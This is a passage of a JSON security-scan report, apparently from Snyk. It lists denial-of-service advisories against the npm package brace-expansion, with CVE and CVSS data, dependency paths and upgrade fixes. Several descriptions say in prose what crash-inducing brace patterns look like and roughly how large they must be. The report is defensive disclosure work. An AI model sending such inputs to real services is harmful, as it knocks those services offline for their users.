Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
